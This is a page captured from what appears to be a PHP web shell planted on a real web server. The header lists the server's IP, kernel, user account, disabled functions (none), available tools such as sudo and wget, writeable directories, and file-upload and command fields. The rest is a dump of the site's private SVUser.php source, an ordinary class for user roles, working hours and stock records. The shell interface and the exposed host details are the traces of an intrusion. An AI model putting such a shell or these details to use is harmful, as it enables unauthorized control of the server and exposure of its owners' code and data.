403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ttjs.cz/dev/app/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ttjs.cz/dev/app/classes/SVUser.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

namespace app\classes;

/**
 * Description of SVUser
 *
 * @author maros
 */
class SVUser extends User {

    CONST PUSH_NOTIFICATIONS_SETTINGS = "PUSH_NOTIFICATIONS_SETTINGS";
    CONST EMAIL_NOTIFICATIONS_SETTINGS = "EMAIL_NOTIFICATIONS_SETTINGS";

    /** @var PDOCollection */
    protected $accessibleUsers;

    /** @var PDOCollection */
    protected $reminderAccessibleUsers;

    /** @var PDOElement */
    protected $defaultStock;

    /** @var PDOElement */
    protected $stock;

    public function __construct($table, $email, $id_column = "email", $allow_deleted = false, $allow_disabled = false, $types = array()) {
        parent::__construct($table, $email, $id_column, $allow_deleted, $allow_disabled, $types);
        if ($this->_get("type") === \app\constants\UserType::ENGINEER) {
            $stockIdSql = "SELECT id FROM stocks WHERE "
                    . "snapshot=:snapshot AND users_id=:users_id AND state=:state";
            $stockIdBindArray = array(
                "snapshot" => 0,
                "users_id" => $this->_get("id"),
                "state" => \app\constants\State::ACTIVE
            );
            $stockId = $this->db->getValue($stockIdSql, $stockIdBindArray);
            if ($stockId === null) {
                $this->db->addRecord("stocks", array(
                    "users_id" => $this->_get("id")
                ));
                $stockId = $this->db->getValue($stockIdSql, $stockIdBindArray);
            }
            $this->defaultStock = new PDOElement($stockId, "stocks", array("id" => $stockId));
            $this->stock = new PDOElement($this->_get("id"), "stock", array("users_id" => $this->_get("id")), "users_id");
        }
    }

    public function getAdminRightsSQL($leftOr = false, $rightOr = false) {
        if ($this->isAdmin()) {
            return " " . ($leftOr ? "OR " : "") . "1=1 " . ($rightOr ? "OR " : "");
        }
        return "";
    }

    public function isAdmin() {
        return $this->_get("type") === \app\constants\UserType::ADMIN;
    }

    /**
     * @return PDOCollection
     */
    public function getWorkingHours($splitByDays = false) {
        $workingHours = new PDOCollection("working_hours_rules", $splitByDays ? array("day", "id") : "id", false, array(
            "ACTIVE" => \app\constants\State::ACTIVE,
            "users_id" => $this->_get("id"),
            "rule_type" => \modules\requests\code\WorkingHoursHelper::RULE_TYPE_GLOBAL
                ), " WHERE state=:ACTIVE AND users_id=:users_id AND rule_type=:rule_type ORDER BY from_time, to_time ASC");
        return $workingHours;
    }

    /**
     * @return PDOCollection
     */
    public function getWorkingHoursExcpetions() {
        $workingHours = new PDOCollection("working_hours_rules", "id", false, array(
            "ACTIVE" => \app\constants\State::ACTIVE,
            "users_id" => $this->_get("id"),
            "rule_type" => \modules\requests\code\WorkingHoursHelper::RULE_TYPE_EXCEPTION
                ), " WHERE state=:ACTIVE AND users_id=:users_id AND rule_type=:rule_type AND to_date>=CURDATE() ORDER BY from_date, to_date ASC");
        return $workingHours;
    }

    public static function verifyUserAccessibility($userId, $throwEx = true) {
        $user = BasicUser::getLoggedUser();
        $accessibleUsers = $user->getAccessibleUsers();
        $userCheck = $accessibleUsers->getItemArray($userId);
        if ($userCheck === NULL) {
            if ($throwEx) {
                throw new \Exception(\app\constants\ResponseCodes::ACCESS_DENIED, \app\constants\ResponseCodes::ACCESS_DENIED);
            }
            return false;
        }
        return true;
    }

    public function isAvailable($from, $to) {
        return $this->isAvailableInWorkingHours($from, $to);
    }

    protected function isAvailableInWorkingHours($from, $to) {
        $fromDate = date("Y-m-d", strtotime($from));
        $toDate = date("Y-m-d", strtotime($to));
        $fromTime = date("H:i", strtotime($from));
        $toTime = date("H:i", strtotime($to));

        if (($fromDate !== $toDate) || strtotime($from) < time() || strtotime($to) < time()) {
            return false;
        }
        $db = PDODatabase::getInstance();

        $exceptionWorking = $db->getValue("SELECT id FROM working_hours_rules WHERE "
                . "state=:ACTIVE AND rule_type=:rule_type AND users_id=:users_id AND from_date<=:now_date AND to_date>=:now_date "
                . "AND from_time<=:from_time AND to_time>=:to_time", array(
            "ACTIVE" => \app\constants\State::ACTIVE,
            "rule_type" => \modules\requests\code\WorkingHoursHelper::RULE_TYPE_EXCEPTION_TIME,
            "users_id" => $this->_get("id"),
            "now_date" => $fromDate,
            "from_time" => $fromTime,
            "to_time" => $toTime
        ));

        if ($exceptionWorking !== NULL) {
            return true;
        }

        $exceptionsNotWorkingAllDay = new \app\classes\PDOCollection("working_hours_rules", "id", "SELECT id FROM working_hours_rules WHERE "
                . "state=:ACTIVE AND rule_type=:rule_type AND users_id=:users_id AND from_date<=:now_date AND to_date>=:now_date", array(
            "ACTIVE" => \app\constants\State::ACTIVE,
            "rule_type" => \modules\requests\code\WorkingHoursHelper::RULE_TYPE_EXCEPTION,
            "users_id" => $this->_get("id"),
            "now_date" => $fromDate
        ));

        foreach ($exceptionsNotWorkingAllDay->toArray() as $key => $val) {
            $exception = new \modules\requests\code\WorkingHoursRule($val["id"]);
            if ($exception->getWorkingHoursExceptionTimes()->getElementsCount() === 0) {
                return false;
            }
        }

        $globalWorking = $db->getValue("SELECT id FROM working_hours_rules WHERE "
                . "state=:ACTIVE AND rule_type=:rule_type AND users_id=:users_id AND day=:day "
                . "AND from_time<=:from_time AND to_time>=:to_time", array(
            "ACTIVE" => \app\constants\State::ACTIVE,
            "rule_type" => \modules\requests\code\WorkingHoursHelper::RULE_TYPE_GLOBAL,
            "users_id" => $this->_get("id"),
            "day" => date("N", strtotime($fromDate)),
            "from_time" => $fromTime,
            "to_time" => $toTime
        ));

        if ($globalWorking !== NULL) {
            return true;
        }


        return false;
    }

    public function getRequestsSQLCondition($leftAnd = false, $rightAnd = false) {
        $leftAnd = $leftAnd ? " AND " : "";
        $rightAnd = $rightAnd ? " AND " : "";
        $conds = array(
            \app\constants\UserType::ENGINEER => $leftAnd . " requests.users_id=:grsc_users_id" . $rightAnd,
            \app\constants\UserType::ADMIN => "",
            \app\constants\UserType::OPERATOR => $leftAnd . "(status!=:status_CONCEPT OR (status=:status_CONCEPT AND requests.users_id=:grsc_users_id))" . $rightAnd,
        );
        return $conds[$this->_get("type")];
    }

    public function getRequestsSQLConditionBindArray() {
        $array = array(
            \app\constants\UserType::ENGINEER => array("grsc_users_id" => $this->_get("id")),
            \app\constants\UserType::ADMIN => array(),
            \app\constants\UserType::OPERATOR => array("status_CONCEPT" => \modules\requests\code\RequestStatus::CONCEPT, "grsc_users_id" => $this->_get("id")),
        );
        return $array[$this->_get("type")];
    }

    public function isEngineer() {
        return $this->_get("type") === \app\constants\UserType::ENGINEER;
    }

    public function verifyRequestAccesiblity($requestId, $acceptAssigned = false, $throwEx = true) {
        if ($this->db->getValue("SELECT id FROM requests WHERE id=:id " . $this->getRequestsSQLCondition(true), array("id" => $requestId) + $this->getRequestsSQLConditionBindArray()) === null) {
            if ($throwEx) {
                throw new \Exception($this->_get("email") . " (request ID " . $requestId . ")", \app\constants\ResponseCodes::ACCESS_DENIED);
            }
            return false;
        }
        return true;
    }

    public function checkUserType($acceptableTypes, $throwEx = true) {
        if (is_array($acceptableTypes)) {
            if (!in_array($this->_get("type"), $acceptableTypes)) {
                if ($throwEx) {
                    throw new \Exception("inappropriate user type", \app\constants\ResponseCodes::INVALID_INPUT);
                }
                return false;
            }
            return true;
        }
        if ($acceptableTypes !== $this->_get("type")) {
            if ($throwEx) {
                throw new \Exception("inappropriate user type", \app\constants\ResponseCodes::INVALID_INPUT);
            }
            return false;
        }
        return true;
    }

    public function getServices() {
        return explode("!", $this->_get("services"));
    }

    protected function TCPDFincY($y, $inc, &$pdf, $margin = 20.5) {
        $y = $y + $inc;
        if ($y >= 297 - ($margin * 2)) {
            $y = $margin;
            $pdf->addPage();
        }
        return $y;
    }

    /**
     * @return PDOElement
     */
    public function getDefaultStock() {
        return $this->defaultStock;
    }

    /**
     * @return PDOElement
     */
    public function getStock() {
        return $this->stock;
    }

    public function isDefaultStockEditable() {
        $snapshotsCount = $this->db->getValue("SELECT COUNT(*) FROM stocks WHERE "
                . "users_id=:users_id AND snapshot!=:snapshot AND state=:ACTIVE", array(
            "users_id" => $this->_get("id"),
            "ACTIVE" => \app\constants\State::ACTIVE,
            "snapshot" => 0
        ));
        return intval($snapshotsCount) === 0;
    }

    public function getStocksYearRange() {
        $range = range(date("Y", strtotime($this->defaultStock->_get("created"))), date("Y"));
//        $range = range(2022, 2024);
        $return = array();
        foreach ($range as $item) {
            $return[$item] = $item;
        }
        return $return;
    }
    
    /**
     * @return PDOCollection
     */
    public function getAccessibleUsers() {
        if ($this->accessibleUsers === null) {
            $cnf = new \modules\users\code\UsersConfig;
            $accessibleRoles = $cnf->getConfig(\modules\users\code\UsersConfig::CONF_USERS_TYPES_MANAGEMENT)[$this->_get("type")];
            unset($accessibleRoles[array_search(\app\constants\UserType::ENGINEER, $accessibleRoles)]);
            $this->accessibleUsers = new PDOCollection("users", "id", false, array(
                "ACTIVE" => \app\constants\State::ACTIVE,
                "user_id" => $this->_get("id")
                    ), " WHERE state=:ACTIVE "
                    . " AND ("
                    . "     type IN('" . implode("', '", $accessibleRoles) . "') "
                    . ") OR id=:user_id ORDER BY last_name, type ASC"
            );
        }
        return $this->accessibleUsers;
    }

    /**
     * @return PDOCollection
     */
    public function getAccessibleUsersAll() {
        if ($this->accessibleUsers === null) {
            $cnf = new \modules\users\code\UsersConfig;
            $accessibleRoles = $cnf->getConfig(\modules\users\code\UsersConfig::CONF_USERS_TYPES_MANAGEMENT)[$this->_get("type")];
            $this->accessibleUsers = new PDOCollection("users", "id", false, array(
                "ACTIVE" => \app\constants\State::ACTIVE,
                "user_id" => $this->_get("id")
                    ), " WHERE state=:ACTIVE "
                    . " AND ("
                    . "     type IN('" . implode("', '", $accessibleRoles) . "') "
                    . $this->getAdminRightsSQL(true)
                    . ") OR id=:user_id ORDER BY last_name, type ASC"
            );
        }
        return $this->accessibleUsers;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit